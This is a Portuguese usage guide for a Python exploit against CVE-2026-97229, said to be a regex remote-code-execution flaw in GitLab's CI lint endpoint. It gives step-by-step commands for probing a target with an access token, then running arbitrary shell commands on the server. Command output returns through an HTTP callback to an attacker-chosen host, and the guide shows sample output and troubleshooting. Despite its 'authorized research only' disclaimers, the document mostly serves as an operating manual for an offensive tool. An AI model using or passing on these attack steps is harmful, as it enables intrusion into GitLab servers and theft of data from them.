
Exploit em Python para CVE-2026-97229, uma RCE de regex no lint de CI do GitLab. Cria um projeto, envia uma configuração de CI maliciosa, aciona o endpoint de lint e recupera a saída do comando via callback HTTP.
CVE-2026-97229 é um exploit externo para RCE via regex no lint do GitLab CI. Ele é usado apenas contra um alvo GitLab ativo e com permissão. Ele cria um projeto, envia uma configuração de CI maliciosa, aciona o endpoint de lint do CI e recebe a saída de comandos por meio de um callback HTTP. Isso é apenas para pesquisa de segurança autorizada.
CVE-2026-97229 External - use por sua conta e risco e apenas para testes legais
##Apenas para uso em pesquisa. Use apenas em seus próprios sistemas ou em sistemas para os quais você tenha permissão por escrito.
Esta ferramenta é apenas para um alvo GitLab ativo. Ela não funcionará em um alvo inativo, backup ou host inacessível.
Requisitos
Salvar arquivo
Salve o código do exploit como:
cve97229_ext.py
Criar arquivo de escopo
Se o seu alvo for:
https://gitlab.example.local
Crie scope.txt:
echo "gitlab.example.local" > scope.txt
Passo 1 - Verificar alvo
Execute:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
Exemplo:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
Bom resultado:
"gitlab_signal": true
Se a versão estiver visível, você poderá ver:
"version": "19.4.0"
Passo 2 - Executar contra alvo ativo
Execute:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
Exemplo:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
Substitua:
GITLAB_TOKEN = seu token do GitLab
YOUR_IP = IP da sua máquina que o alvo consegue acessar
Resultado
Se bem-sucedido, você verá:
"status": "RCE"
e uma saída como:
"output": "uid=998(git) gid=998(git) groups=998(git)"
Problemas comuns
out-of-scope:
Corrija o scope.txt.
no-write-path:
Token ausente ou inválido.
known-patched:
A versão do alvo está corrigida.
no-callback:
O alvo não conseguiu se conectar de volta a você.
Verifique YOUR_IP, firewall e acesso à rede.
Importante
O alvo deve estar ativo e acessível.